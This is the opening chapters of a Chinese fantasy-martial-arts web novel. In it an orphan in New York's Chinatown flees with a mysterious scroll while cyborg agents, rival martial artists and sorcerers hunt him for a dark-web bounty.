《破武星途》
第一章 拾古斋的异动
冰冷的雨,鞭子般抽打着曼哈顿下城。
霓虹在湿漉漉的街道上晕开,光怪陆离。廉价中餐、汽车尾气、隐约的尿臊味,混成一股都市特有的浊气。
林默缩了缩脖子。
廉价冲锋衣的领口,挡不住深秋的寒意。他推开“拾古斋”沉重木门。
吱呀——
门楣老匾,字迹模糊。店内昏黄,一盏绿罩台灯,照亮飞舞的微尘。
旧木、陈纸、一丝檀香。时光遗忘的角落。
“阿默,回来了?”柜台后,苍老声音带着江浙口音。
陈伯。洗得发白的藏青褂子,老花镜滑在鼻梁。他正修补一本线装书。
林默,孤儿。唐人街的烟火,异国的疏离。这间小店,是他漂泊世界唯一的“根”。
“嗯,陈伯。”林默闷声应道。脱下湿外套,露出洗得发白的灰T恤。
他从怀里掏出一个油纸包裹的扁平长条。
“老码头‘鬼市’收的。俄国老头说,他祖父从哈尔滨带出来的……看着邪性。”
油纸层层剥开。
没有珠光宝气。一片色泽沉黯、边缘磨损的皮革卷轴。
触手冰凉。
一种渗入骨髓的质感。
卷轴表面,无字无画。只有古老、无法辨识的暗金纹路,似星图,又似经络。
在台灯微光下,流淌着非金非玉的诡异光泽。
“哈尔滨?”陈伯放下镊子,老花镜后的目光锐利起来。“拿来我看看。”
林默递过去。
陈伯枯瘦的手指,极其谨慎地抚过卷轴边缘。眉头紧锁。
“这材质……不像皮革,也不像金属。这纹路……”
他猛地抬头,浑浊眼中爆出精光!
“阿默!这东西你碰了多久?!”
林默一愣。“就……从老头手里接过,揣怀里带回来了。”
“感觉呢?”陈伯声音发紧。
“凉。透骨的凉。像攥着块冰。”林默如实道。
陈伯深吸一口气,仿佛下了极大决心。他将卷轴平放在铺着绒布的玻璃柜台上。
“别碰!”他厉声叮嘱。转身,从柜台最深处,摸出一个巴掌大的紫檀木盒。
打开。
里面是一块巴掌大的古朴罗盘,指针却非磁石,而是一根细如发丝的暗金色金属丝。
陈伯屏住呼吸,将罗盘缓缓靠近卷轴。
嗡——!
罗盘上的暗金指针,毫无征兆地疯狂旋转!发出低沉蜂鸣!
指针尖端,竟亮起一点微弱的、同样暗金色的光芒,直指卷轴中心!
陈伯脸色瞬间煞白!手一抖,罗盘差点脱手。
“果然……是‘那个’的气息!”他声音干涩,带着难以置信的惊骇。
“陈伯,这到底是什么?”林默被老人的反应惊到。
“祸根!”陈伯猛地合上紫檀木盒,动作仓惶。“天大的祸根!”
他一把抓起卷轴,想重新用油纸包好。
就在卷轴离开绒布,悬空的刹那——
嗡!!!
一股源自洪荒的冰冷悸动,毫无征兆地从卷轴内部炸开!
并非洪流冲击,更像一颗沉寂亿万年的心脏,被强行唤醒,搏动了第一下!
无形的波纹荡漾开!
柜台上的绿罩台灯,“啪”一声,灯丝爆裂!店内彻底陷入昏暗!
陈伯如遭雷击,闷哼一声,踉跄后退,卷轴脱手!
林默下意识伸手去接。
指尖,堪堪触碰到那冰冷的、带着诡异纹路的表面。
轰——!
这一次,是真正的洪流!
冰冷!死寂!带着星辰生灭、文明轮回的古老苍茫!
瞬间贯穿林默四肢百骸!
眼前不再是昏暗小店。
是无垠的宇宙深空!星辰旋转、坍缩、爆裂!无数狂暴的“意念”碎片——凌厉的刀光剑影、奔涌的内息江河、筋骨雷鸣的震颤——如同失控的流星雨,蛮横地撞进他的意识!
剧痛!撕裂灵魂!
却又夹杂着一丝……难以言喻的、冰冷的明悟。
仿佛某种尘封的密码,被这接触的瞬间,撬开了一道微不可查的缝隙。
“呃啊——!”林默惨叫一声,抱着头跪倒在地。卷轴“哐当”掉在脚边。
“阿默!”陈伯惊骇欲绝。
几乎就在林默指尖触碰卷轴,引发那洪荒悸动的同时!
世界深处,某个不可知的维度。
叮!叮!叮!叮!
全球最致命的几个暗网平台,首页瞬间被同一个猩红刺眼的悬赏令血洗!
【SSS级全球猎杀令:目标‘守卷人’!坐标:纽约曼哈顿下城!】
悬赏金额:一串长得让顶级富豪窒息的零。
货币单位:不限。
目标信息:模糊。只有一个疯狂闪烁、精确到拾古斋这栋小楼的实时坐标!
附加信息:目标持有‘起源之钥’!生死勿论!
发布者:匿名(深渊)。
地下世界,瞬间沸腾!
无形的杀意,撕裂雨夜,射向纽约!
华尔街楼顶、布鲁克林码头、皇后区公寓……无数阴影,睁开了嗜血的眼。
拾古斋内,死寂。
只有林默粗重的喘息,和陈伯剧烈的心跳。
“守……守卷人?”林默甩着嗡嗡作响的头,一个冰冷古老的称谓,从混乱的意念碎片中浮现。
陈伯猛地扑向柜台角落的老式收音机!手抖得厉害。
粗暴拧开电源。舒缓的古典乐。
他疯狂旋转调频钮!刺耳的电流噪音尖叫!
“来不及了……他们嗅到了!”陈伯嘶吼,绝望爬上皱纹。“阿默!听着!”
他转身,枯手如铁钳,死死抓住林默胳膊!力量大得吓人!
浑浊眼底,燃烧着悲壮的火焰。
“带着它!跑!往东!去魔都上海!找‘浦江渔火’!死也要记住这个名字!”
他语速快如**!
“这卷轴!是《天工开武图》的钥匙!是灾祸!也是……唯一的生路!活下去!替我们……活下去!”
话音未落——
轰!!!
拾古斋临街的橡木门,连同半面砖墙,如同被巨兽撞击,轰然向内炸裂!
碎石木屑如暴雨劲射!
狂野的咆哮压过雨声:
“?0?3Lallave!?0?3Dámelaahora!(钥匙!现在就给我!)”
烟尘中,一个赤膊巨汉显现!肌肉虬结如古铜,爬满狰狞青纹!
雨水冲刷油亮皮肤。
他的双腿,缠绕着肉眼可见的、充满**力量的诡异气流!如两条毒**!
卡波耶拉战舞!杀戮机器!
每一步,地板**龟裂!
陈伯瞳孔骤缩!一把将林默推向后方!
“躲好!”他低吼。
同一刹那!
拾古斋深处,堆满杂物的后门,悄无声息地……融化了。
空间扭曲。木门与空气,荡起透明涟漪。
一个枯瘦身影,裹在脏污粗麻布里,如同从异次元“渗”入。
赤脚。脚趾关节粗大异常。
脊柱如蛇侧弯,头颅诡
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异地垂直。
昏暗光线下,那双眼睛……是爬行动物的冰冷竖瞳!
瑜伽苦修者!极致恐怖!
枯手抬起。五指违反生理地张开、弯曲。
林默和陈伯身周空气,骤然粘稠如胶!无形的深海重压,从四面八方挤压而来!
要将他们碾碎、凝固!
“哼!魑魅魍魉,也敢踏我华夏之地?!”
一声暴喝,平地惊雷!
佝偻的陈伯,腰杆猛地挺直!如山如岳的刚猛气势,轰然爆发!
旧褂无风自动!
一步踏出!
水泥地,清晰脚印!
右拳如虬根老树,裹挟风雷,直捣巨汉中门!
空气压缩!爆鸣!
“八极——崩山!”
轰!!!
拳腿未接,气劲已悍然对撞!
冲击波炸开!货架瓷器玻璃,瞬间化为齑粉!
狂暴气流,将刚爬起的林默狠狠掀飞,撞塌身后**架!
碎木杂物,将他半埋。
“走——!!!”陈伯的吼声,撕裂轰鸣!决绝!
苦修者竖瞳收缩!双手猛地合十!
林默身周粘稠力场,骤然增强数倍!无形沼泽,要将他彻底吞噬!
剧痛!窒息!
林默怀中,那冰冷的卷轴,紧贴胸膛。
洪荒的冰冷悸动,仿佛被死亡威胁刺激,猛地再次搏动!
嗡!
一股灼热的、带着毁灭气息的狂暴力量,不受控制地在他体内左冲右突!
双目瞬间赤红!
沾满血污灰尘的手,死死攥住卷轴!
嗡——!!!
卷轴暗金纹路,骤然亮起!
不再是微光!
一道凝练如实质、带着切割一切意味的暗金光弧,以林默为中心,猛地环形扫过!
嗤啦——!
粘稠如胶的无形力场,如同被烧红利刃切开的牛油,瞬间撕裂!
苦修者闷哼!身体剧震!竖瞳中,第一次露出骇然!
束缚骤减!
体内狂暴力量找到宣泄口!
林默借着反冲,像炮弹,撞向陈伯轰出的、布满蛛网裂痕的墙壁缺口!
噗!
身体撞碎砖石!
冰冷雨水,凛冽夜风,灌满口鼻!
身后。
是拾古斋内更加狂暴的轰鸣!砖石垮塌!陈伯那苍老却震耳欲聋的决死怒吼:
“小辈!滚远点——!”
林默重重摔在后巷污水横流的水泥地上。
骨头散架。嘴里满是血腥和泥土的腥气。
他挣扎爬起。
回头。
摇摇欲坠的小楼,在狂暴能量中颤抖。轰鸣不断。
泪水混着雨水血水滚落。
巨大的悲痛!冰冷的愤怒,攥紧心脏!
跑!
向东!大海!魔都上海!
他转身,拖着残破身体,一头扎进迷宫般幽深肮脏的后巷。
雨水冲刷血污。
冲刷不掉眼中那点燃的、来自亘古蛮荒的、燃烧血与火的冰冷光芒!
身后。
最后一声惊天动地的巨响!
随即。
死寂。
只有纽约永不停歇的雨声。
冰冷地冲刷着。
冲刷着亡命者踉跄的足迹。
林默没有回头。
死死咬牙。
将喉间的腥甜悲吼,狠狠咽下!
每一步踏在湿滑肮脏的地面,都如同踏在燃烧的刀锋之上!
怀中卷轴。
冰冷深处。
一丝微弱却真实的滚烫脉动。
像不灭的火种。
更像一道……催命的符咒。
第二章 雨夜猎杀
冰冷的雨水,无情鞭挞。
林默在迷宫般的后巷狂奔。
肺像破风箱,每一次吸气都带着血腥和污水的腥气。骨头散架般剧痛。
怀中卷轴。
冰冷深处,那丝诡异的滚烫脉动,越来越清晰。
像一颗沉睡亿万年的心脏,被强行唤醒,不甘地搏动。
“替我们……活下去!”陈伯决绝的嘶吼,在耳边炸响。
泪水混着雨水,滚落。
愤怒!冰冷的愤怒,取代了恐惧,在胸腔燃烧!
跑!必须跑出去!
身后。
拾古斋方向,死寂。
只有雨声。
但林默知道,那不是结束。
是更大风暴前的宁静。
SSS级猎杀令!全球的鬣狗,都闻着血腥味来了!
他拐进一条更窄、更暗的巷道。
垃圾堆散发恶臭。老鼠吱吱逃窜。
突然!
前方巷口,阴影蠕动。
一个穿着黑色长风衣、戴着宽檐帽的身影,无声无息地堵住了去路。
帽檐压得很低,看不清脸。
只有嘴角,勾起一抹冰冷的弧度。
“晚上好,守卷人。”声音低沉,带着金属摩擦的质感,标准美式英语。“东西,给我。”
林默心脏骤停!
这么快?!
他猛地后退,背靠冰冷湿滑的砖墙。
“你……是谁?”声音嘶哑。
“送货员。”风衣男轻笑。他缓缓抬起手。
手上,戴着一副哑光的黑色金属手套。指尖,闪烁着幽蓝的微光。
“雇主,很急。”手套上的幽蓝光芒,陡然炽盛!
滋啦——!
一道扭曲的、带着强烈麻痹感的蓝色电弧,撕裂雨幕,直射林默!
快!狠!刁钻!
林默瞳孔收缩!死亡的冰冷,瞬间攫住咽喉!
躲不开!
千钧一发!
怀中卷轴,那滚烫的脉动,猛地一跳!
嗡!
一股狂暴灼热的力量,不受控制地从他攥紧卷轴的右手爆发!
嗤!
一道凝练如实质的暗金光弧,比之前更清晰、更凌厉,从他掌心迸射而出!
精准地劈在蓝色电弧上!
没有**。
蓝色电弧,如同脆弱的玻璃丝,被暗金光弧无声无息地……斩断!湮灭!
光弧余势不减,斩向风衣男!
风衣男帽檐下的瞳孔,第一次露出惊愕!
“能量切割?!”他低吼,黑色金属手套交叉格挡!
嗡!
手套爆发出刺目的蓝色光盾!
轰——!
暗金光弧斩在光盾上!发出沉闷巨响!
光盾剧烈波动,裂纹蔓延!
风衣男闷哼一声,被巨大的冲击力震得连连后退,撞在对面墙壁上,砖石簌簌落下!
林默也愣住了。
他看着自己的右手。掌心残留着灼痛感。
刚才……那力量?
“有趣!”风衣男稳住身形,声音带着一丝扭曲的兴奋。“钥匙果然在你身上!不枉我放弃围捕,单独截杀!”
他猛地撕掉破损的风衣!
露出下面贴身的黑色作战服。胸口,一个银色的、抽象的眼睛徽记。
双臂、双腿关节处,覆盖着流线型的哑光金属外骨骼!
幽蓝的能量纹路,在外骨骼表面流淌。
“圣堂科技,‘洞察者’序列,第七执行员。”他报出名号,金属手套再次亮起危险的光芒。“交出钥匙,给你个痛快。”
林默心沉到谷底。
改造人?还是异能科技?
“做梦!”他嘶吼。愤怒压倒了恐惧。
陈伯用命换来的生路!凭什么给你!
“那就……拆了你!”第七执行员冷笑。
嗡!
他双腿外骨骼蓝光爆闪!速度瞬间飙升!
原地留下残影!真身已如鬼魅般突进到林默左侧!
金属拳套,带着撕裂空气的尖啸,直捣林默太阳穴!
狠辣!致命!
林默根本看不清动作!只觉恶风扑面!
本能!
他靠着卷轴力量带来的、那丝冰冷的“明悟”,身体以一个极其别扭的姿势,猛地向后仰倒!
呼!
金属拳套擦着鼻尖掠过!劲风刮得脸生疼!
同时!
他右拳紧握卷轴,凭着那股狂暴灼热的冲动,狠狠向上捣出!
目标,是对方外骨骼覆盖的肘关节内侧!
嗡!
暗金光芒再次闪现!虽然微弱,却带着切割一切的凌厉!
“找死!”第七执行员不屑。肘部外骨骼蓝光大盛,硬抗!
嗤——!
刺耳的金属摩擦声!
暗金光弧,竟在坚硬的合金外骨骼上,留下了一道清晰的、冒着青烟的灼痕!
虽然不深,却让第七执行员动作一滞!
怎么可能?!他的外骨骼,能硬抗反器材狙击!
这小子……有古怪!
趁他惊愕的瞬间!
林默就地一滚,狼狈不堪,却险险避开了紧接而至的膝撞!
轰!
合金膝盖狠狠砸在他刚才的位置!水泥地面龟裂!
“虫子!只会躲吗?!”第七执行员怒吼。幽蓝能量在双臂汇聚,显然要发动更强攻击。
林默喘息粗重。
刚才两下爆发,身体像被掏空。经脉灼痛难忍。
左眼视野边缘,竟然开始出现诡异的、闪烁的金色星点!
代价!卷轴的力量,在吞噬他!
不能硬拼!
他猛地抓起地上半块湿漉漉的板砖,用尽力气砸向对方!
同时,转身就跑!扑向旁边一个堆满废弃油桶的岔路!
“雕虫小技!”第七执行员挥手打碎板砖。
外骨骼蓝光再闪!紧追不舍!
“你逃不掉!坐标,在我视网膜上实时刷新!”他狞笑。
林默冲进油桶堆。
浓烈的机油味刺鼻。
第七执行员紧随而至。
就在他踏入油桶区域的刹那!
林默猛地转身!
不是攻击!
他沾满泥污和血的手,狠狠拍在怀中卷轴上!
不是催动力量!是……刺激!
嗡——!!!
比之前强烈数倍的洪荒悸动,猛地从卷轴炸开!
无形的冰冷波纹,瞬间扩散!
噗!噗!噗!
周围十几个废弃油桶的密封盖,如同被无形巨力掀开!
粘稠、污浊、散发着刺鼻气味的废弃机油,如同黑色的喷泉,冲天而起!
劈头盖脸,浇了第七执行员一身!
“FUCK!”他猝不及防,视线瞬间被污油糊住!
幽蓝的能量光芒在污油覆盖下,变得晦暗不明!外骨骼关节发出刺耳的摩擦声!
行动受阻!
林默要的就是这一瞬!
他像受惊的兔子,转身就钻进更深处狭窄的、堆满杂物的缝隙!
“混蛋!我要把你拆成零件!”身后,传来第七执行员暴怒的咆哮和机油被能量蒸发的滋滋声。
林默不敢停。
左眼的金色星点越来越多,视野模糊。喉咙腥甜,咳出一口带着金丝的血沫。
身体在哀鸣。卷轴像贪婪的吸血鬼。
但,不能停!
他冲出后巷,拐入一条相对宽阔的背街。
雨更大了。
霓虹在雨幕中晕染,光怪陆离。
突然!
街角阴影里,一个蜷缩的流浪汉,抬起了头。
破毡帽下,一双眼睛浑浊不堪,瞳孔却像猫一样,在黑暗中微微反光。
他咧开嘴,露出参差不齐的黄牙。
“饿……好饿……”声音干涩,像砂纸摩擦。
一股难以言喻的、带着腐烂甜腥的恶意,如同实质的粘液,瞬间笼罩了林默!
不是杀气!是……食欲!
纯粹的、对生命本源的贪婪食欲!
林默浑身汗**倒竖!
比面对第七执行员时,更深的寒意,从脊椎窜上头顶!
这流浪汉……不对劲!
流浪汉摇摇晃晃站起来。动作僵硬,关节发出咔吧声。
他伸出枯瘦、指甲缝里满是泥垢的手,指向林默怀中的方向。
“香……真香……给我……”他喉咙里发出嗬嗬的怪响,口水混着雨水滴落。
一股无形的吸力,猛地作用在林默身上!
仿佛要将他全身的精气神,连同怀中的卷轴,一起吸扯过去!
林默感觉灵魂都在被撕扯!眼前发黑!
又是异能?!纽约的阴影里,到底藏着多少怪物!
他死死攥住卷轴!体内那股灼热狂暴的力量,再次被这诡异的吸力刺激,左冲右突!
“滚开!”林默目眦欲裂,试图再次激发那切割光弧。
但这次,力量却像陷入泥沼,在经脉中滞涩难行!左眼的金色星点几乎连成一片!
“饿啊——!”
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流浪汉发出非人的嚎叫!吸力骤然增强!
林默双脚离地,被拖拽着向那枯瘦的手掌滑去!
腥臭的气息扑面!
绝望!
就在枯爪即将触及林默面门的刹那!
嗤——!
一道细微却凌厉至极的破空声!
撕裂雨幕!
快!准!狠!
直射流浪汉的眉心!
“呃……”流浪汉的嚎叫戛然而止。
眉心处,一点红痕迅速扩大。
他浑浊的眼中,贪婪凝固,随即化为空洞。
扑通。
尸体倒地。那股恐怖的吸力瞬间消失。
林默摔倒在地,剧烈咳嗽,咳出更多带金丝的血。
他惊骇抬头。
街对面,一栋老旧公寓楼的防火梯上。
一个身影,静静伫立。
雨水顺着他光溜溜的脑袋流下,滑过棱角分明的刚硬脸庞。
他穿着洗得发白的灰色布衣布鞋,身形并不高大,却像一根钉在雨夜里的标枪。
手里,拈着一枚边缘磨得发亮的……铜钱。
刚才那救命的一击?
灰衣光头目光冰冷,扫过地上流浪汉的尸体,又落在林默身上。
“废物点心。”声音不高,却清晰地穿透雨声,带着浓重的北方口音,还有一丝……嫌弃?
“卷轴的气息都藏不住,招来这么多臭鱼烂虾。”
他目光如电,仿佛能穿透林默的皮囊,看到那滚烫的卷轴。
“还把自己搞得半死不活。”
林默挣扎着想爬起来。“你……是谁?”
光头没理他。耳朵微动。
“啧,麻烦。”他看向街道另一端。
沉重的脚步声,如同战鼓,踏碎雨夜。
两个身影,并排走来。
同样光头,同样灰色布衣布鞋。
面容竟有七八分相似!双胞胎?
体格却比防火梯上的那位,魁梧整整一圈!
如同两座移动的铁塔!
凶悍!霸道!带着毫不掩饰的杀意!
目光,同样死死锁定了林默……怀中的卷轴。
“秃鹫,滚开!”其中一个魁梧光头声如洪钟,说的是生硬的英语。“这东西,我们‘金刚门’要了!”
防火梯上,被称作“秃鹫”的光头嗤笑一声。
“放屁!”他甩了甩手上的雨水,铜钱在指间灵活翻转。“华夏的东西,轮得到你们这群假洋鬼子?”
“找死!”两个魁梧光头怒吼!
轰!
两人同时跺脚!
地面震动!积水炸开!
狂暴刚猛的气劲,如同实质的冲击波,排山倒海般向秃鹫和林默轰来!
秃鹫眼神一厉!
“八极,顶心肘!”
他低喝一声,身形如大鹏展翅,从防火梯上悍然扑下!
单臂屈肘!
没有光芒,没有特效。
只有一股凝练到极致、仿佛能撞塌山岳的恐怖力量,撕裂雨幕!
轰隆——!!!
三股狂暴力量,在半空悍然相撞!
气浪炸开!雨水倒卷!街道两侧的玻璃窗噼啪碎裂!
林默被余波狠狠掀飞,撞在墙上,眼前一黑,几乎昏厥。
混乱中。
一个冰冷的声音,如同毒蛇,钻进他嗡嗡作响的耳朵。
“坐标……锁定。‘钥匙’,该易主了。”
冰冷的枪口,抵住了他后颈的皮肤。
是那个摆脱了油污的第七执行员!他不知何时,绕到了身后!
幽蓝的能量,在枪口汇聚!致命的光芒,刺痛了林默的皮肤!
完了!
林默绝望闭眼。
就在**即将扣下的瞬间!
“当——!”
一声清脆悠扬、仿佛穿越了时空的……打更声?
突兀地在混乱的战场上空响起。
声音不大。
却奇异地穿透了雨声、**声、怒吼声。
清晰地敲在每个人的耳膜上。
如同定身咒。
激战中的三个光头,动作猛地一滞!
第七执行员扣**的手指,也僵硬了刹那!
打更声?
纽约的雨夜?!
林默猛地睁眼。
他怀中的卷轴,那滚烫的脉动,在打更声响起的瞬间……
第一次,传递出一丝微弱的、清晰的……指向感。
方向。
东方。
更深处。
那霓虹迷离、人声鼎沸的……
唐人街!
第三章 唐埠惊雷
“当——!”
那声穿越雨幕的打更声,余韵未绝。
如同无形的冰水,浇灭了混乱战场上的暴戾火焰。
激战中的三个光头,动作僵住。
第七执行员扣**的手指,也迟滞了一瞬。
冰冷的枪口,依旧抵着林默后颈。
但死亡的气息,被这突兀的声响,硬生生撕开了一道缝隙!
林默猛地睁眼!
怀中卷轴。
那滚烫的脉动,在打更声响起的刹那,第一次传递出清晰的……指向!
如同无形的线,绷紧,延伸。
方向。
正东。
那霓虹迷离、人声鼎沸的所在——唐人街!
“坐标……锁定……”第七执行员的声音,带着**扰的电子杂音,杀意重新凝聚!
幽蓝光芒,在枪口骤然亮起!
“吵**!”
一声不耐的冷喝,如同炸雷!
来自街道尽头!
一个佝偻的身影,不知何时,拄着一根磨得油亮的枣木棍,站在雨中。
破旧的蓑衣,斗笠压得很低。
左手,提着一个黄铜梆子。
刚才那声救命的打更声,显然出自他手。
“大半夜的,鬼哭狼嚎,扰人清梦!”斗笠下,声音沙哑苍老,带着浓重的闽南腔。“要打滚远点打!别在老子的地盘撒野!”
“老东西!找死?!”金刚门魁梧光头之一,脾气火爆,怒吼一声,抬脚就要冲过去!
“慢着!”另一个光头眼神凝重,一把拉住同伴。“这老梆子……有古怪!”
秃鹫(灰衣光头)也收起了那副玩世不恭,铜钱在指间停下,目光锐利如鹰,死死盯着那佝偻身影。
“梆子刘?”他试探着问,语气带着一丝罕见的忌惮。
“哼!”梆子刘用枣木棍重重一杵地面,积水溅开。“认得老子,还不快滚!”
“东西留下!”第七执行员冰冷的声音响起,枪口依旧顶着林默。“圣堂科技,办事!”
“圣堂?”梆子刘斗笠微抬,露出一双浑浊却异常锐利的三角眼。“什么狗屁堂口!在老子的唐埠,是龙给我盘着!是虎给我卧着!”
他手中黄铜梆子,轻轻一敲枣木棍。
“当!”
声音不大。
却奇异地让林默怀中的卷轴,那滚烫的脉动,猛地一跳!
指向感,更强烈了!源头……就在梆子刘身后那片更深的街巷!
第七执行员显然也察觉了林默怀中卷轴的异动。
“目标确认!优先级提升!清除障碍!”他冷酷下令,不再犹豫!
嗡!
枪口幽蓝光芒爆闪!致命一击!
同时!
金刚门双胞胎也动了!两人心意相通,目标直指林默!
“动手!抢了再说!”
秃鹫眼神一厉:“八极,贴山靠!”身形如猛虎出闸,撞向金刚门二人!
混乱再起!
但就在第七执行员扣下**的瞬间!
梆子刘动了!
快得不像一个老人!
他佝偻的身影如同鬼魅,一步踏出!脚下积水的波纹竟诡异地凝固了一瞬!
枣木棍点地!
“奇门,乱金柝!”
嗡!
一股无形的、混乱的力场,以他为中心,瞬间扩散开来!
第七执行员感觉时间仿佛被拉长、扭曲!扣**的动作变得无比滞涩!
射出的幽蓝能量弹,轨迹也变得飘忽不定!
金刚门双胞胎狂暴的冲击,如同陷入无形的泥沼,速度骤减!
秃鹫的贴山靠也受到了影响,威力大减!
只有林默!
在梆子刘力场展开的刹那,他怀中的卷轴猛地一烫!
一股微弱却精准的“明悟”闪过脑海——是破绽!
几乎是本能!
他猛地向侧前方扑倒!
动作狼狈,却妙到毫巅!
嗤!
那道因力场干扰而轨迹扭曲的幽蓝能量弹,擦着他头皮飞过!烧焦了几缕头发!
轰在身后墙壁上,炸开一个焦黑大洞!
“咦?”梆子刘斗笠下的三角眼,闪过一丝讶异。“卷轴护主?”
“抓住他!”第七执行员怒吼,外骨骼蓝光狂闪,试图挣脱力场束缚!
金刚门双胞胎也咆哮着,浑身肌肉虬结,气劲勃发,硬抗乱金柝的迟滞!
秃鹫眼神闪烁,不再强攻,身形如游鱼,在混乱力场中穿梭,目标也锁定了林默!
林默连滚带爬,借着卷轴那丝微弱的“明悟”,在梆子刘制造的混乱力场缝隙中,跌跌撞撞地冲向梆子刘身后的巷口!
那是卷轴指引的方向!
唐人街深处!
“小崽子!想跑?!”金刚门暴躁光头挣脱束缚,蒲扇般的大手,带着恶风抓向林默后心!
眼看就要抓住!
梆子刘冷哼一声!
枣木棍再次点地!
“遁甲,地龙游!”
轰隆!
林默前方巷口的地面,猛地向上拱起!如同一条土龙翻身!
坚实的青石板和水泥瞬间碎裂、隆起,形成一道扭曲的屏障!
刚好挡在金刚门大手之前!
砰!
大手狠狠拍在隆起的土石上!碎石飞溅!
林默被拱起的地面一绊,摔了个结实,却也险险避开了致命一抓!
他连滚带爬,手脚并用,翻过隆起的土石障碍,冲进了那条弥漫着陈旧食物香气、悬挂着褪色灯笼的狭窄巷弄!
“追!”第七执行员摆脱束缚,外骨骼喷吐蓝焰,凌空跃起!
秃鹫和金刚门双胞胎也各显神通,撞破障碍,紧追不舍!
梆子刘看着林默消失在巷口的身影,浑浊的眼中闪过一丝复杂。
“祸福难料啊……”他低声咕哝。
随即,他猛地转身,面对追来的三**敌!
佝偻的身躯,爆发出惊人的气势!
枣木棍横于胸前。
“诸位,唐埠的夜路……到此为止了!”
“老梆子!你找死!”金刚门暴躁光头怒吼,砂锅大的拳头带着罡风砸来!
第七执行员的能量枪口,幽蓝光芒再次凝聚!
秃鹫则身形飘忽,试图绕过梆子刘!
梆子刘深吸一口气,浑浊的眼中精光爆射!
“奇门,开!”
他脚下,被雨水浸湿的青石板地面,瞬间亮起一个巨大的、由无数复杂光纹构成的八卦虚影!
光芒流转,覆盖了整条街道!
冲入八卦范围内的三人,动作瞬间变得无比诡异!
第七执行员外骨骼蓝光忽明忽灭,如同接触不良!
金刚门双胞胎如同陷入泥沼,拳头慢如蜗牛!
秃鹫飘忽的身影也变得踉跄,仿佛空间被折叠扭曲!
“哼!雕虫小技!”第七执行员怒吼,胸口银色眼状徽记亮起!“圣堂意志!破妄!”
一股强横的精神冲击,猛地撞向八卦虚影!
嗡!
八卦光影剧烈波动!
梆子刘身体一晃,嘴角溢出一丝鲜血!但他眼神更厉!
“震字,雷霆!”
枣木棍指向天空!
轰咔——!
一道刺目的、并非自然的惨白电光,撕裂雨幕,精准劈向第七执行员!
“该死!”第七执行员惊骇,能量盾瞬间全开!
轰隆!
电光与能量盾碰撞!刺眼的白光淹没一切!
林默在迷宫般的唐人街小巷里狂奔。
身后恐怖的**声、怒吼声、还有那奇异的八卦光影和雷霆,都被雨幕和曲折的巷道阻隔,变得模糊不清。
但他不敢停!
卷轴在怀中剧烈发烫!脉动如鼓!左眼的金色星点几乎连成一片,视野血红模糊!
喉咙腥甜不断上涌!
身体像被无数烧红的钢针穿刺!
“这边!”一个低沉的声音突然从旁边一扇虚掩的木门后传来。
林默一惊,猛地转头。
门缝里,露出一张苍老枯槁的脸,正是梆子刘!
他气息有些急促,蓑衣上沾着泥点。
“快进来!他们破了我的‘乱金柝’,撑不了多久!”
林默没有丝毫犹豫!梆子刘刚才出手相助,是他唯一的生路!
他闪身钻进木门。
梆子刘迅速关上门,插上
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门栓。动作麻利,完全不像个老人。
门内,是一间极其狭小、堆满杂物、散发着浓郁草药和陈茶味道的昏暗房间。
一盏昏黄的油灯,是唯一光源。
“咳咳……”梆子刘剧烈咳嗽几声,抹去嘴角血迹,看向林默怀中。
“《天工开武图》的气息……果然霸道。你小子没被吸干,算你命大。”
林默背靠着门板滑坐在地,大口喘息,咳出带着金丝的血沫。
“前……前辈……为什么救我?”
“救你?”梆子刘三角眼一翻,带着一丝嘲弄。“老子是救‘浦江渔火’那老东西等了几十年的钥匙!”
他走到墙角一个破旧的樟木箱前,掀开盖子,在里面摸索。
“陈伯……让我找‘浦江渔火’……”林默喘息道。
“哼,老陈头……”梆子刘动作一顿,声音低沉下去。“可惜了。他让你往东跑,算准了老子这条退路。”
他摸出一个巴掌大的、布满铜绿的罗盘,样式比陈伯那个更古老复杂。指针同样是暗金色细丝。
“拿着!”梆子刘将罗盘丢给林默。
林默下意识接住。
嗡!
罗盘入手冰凉。那暗金指针疯狂旋转几圈,最后竟颤巍巍地指向他怀中的卷轴!
同时,卷轴的滚烫脉动,似乎被罗盘安抚了一丝丝,左眼的金色星点消退了一点。
“这‘定星盘’,能帮你暂时稳住这祸根的气息,也能指路。”梆子刘语速极快,“向东!去魔都!找到‘浦江渔火’!只有他能解开这卷轴的秘密,保住你的小命!”
“那您……”林默看向他嘴角的血迹。
“老子?”梆子刘咧嘴一笑,露出几颗黄牙,眼神却锐利如刀。“老子守了这唐埠一甲子,还没人能在这里翻了天!”
轰隆——!!!
外面传来惊天动地的**!整个小屋都在摇晃!灰尘簌簌落下!
“梆子刘!交出钥匙!”金刚门光头的怒吼,穿透墙壁!
“坐标锁定!目标在屋内!”第七执行员冰冷的电子音!
秃鹫的声音也传来:“老刘!别犯倔!东西你守不住!”
梆子刘脸色一变,猛地推开墙角一个破旧的碗柜!
后面,竟露出一个仅容一人通过的幽深地道入口!
“走!”他一把将林默推进地道!“沿着地道一直跑!尽头是码头区!有船!”
“前辈!”林默回头。
梆子刘站在地道口,佝偻的身影在昏黄油灯下拉得很长。
他拿起枣木棍和黄铜梆子。
“快滚!别碍事!”
他猛地一按地道口旁边墙壁上一个不起眼的凸起!
轰隆!
一块厚重的石板落下,迅速封堵地道入口!
在入口彻底关闭的最后一瞬。
林默看到。
梆子刘转过身,面对那扇被狂暴力量冲击得剧烈震动的木门。
他摘下斗笠,露出花白稀疏的头发。
浑浊的三角眼中,燃烧着一种林默熟悉的、如同陈伯般的……决绝火焰。
他举起黄铜梆子。
声音透过石板缝隙,带着一丝疲惫,却异常清晰:
“梆——!”
“代老子……问‘渔火’老友安。”
轰——!!!
木门轰然破碎!狂暴的能量和身影,涌入小屋!
地道陷入彻底的黑暗。
只有怀中卷轴的滚烫脉动,和手中“定星盘”冰凉的触感。
以及。
那最后一声梆响,和那句托付。
在黑暗中回荡。
林默死死咬住嘴唇,血腥味在口中蔓延。
他攥紧定星盘,转身。
向着地道深处。
向着未知的码头。
向着东方。
亡命狂奔!
身后。
那间狭小昏暗的屋子。
激烈的碰撞声、怒吼声、奇异的能量波动……
只持续了短短十数息。
便彻底……
归于死寂。
只有纽约的雨。
依旧冰冷地下着。
冲刷着这古老唐埠的……
血与火。
第四章 怒海潜航
地道,冰冷,死寂。
霉味和泥土的腥气,混合着怀中卷轴的滚烫,还有嘴里浓重的血腥。
林默在黑暗中狂奔。
肺像破旧的鼓风机,每一次呼吸都带着灼痛。
左眼的金色星点如同跗骨之蛆,视野血红模糊。
“代老子……问‘渔火’老友安。”
梆子刘最后的声音,在耳边回荡。
决绝。托付。
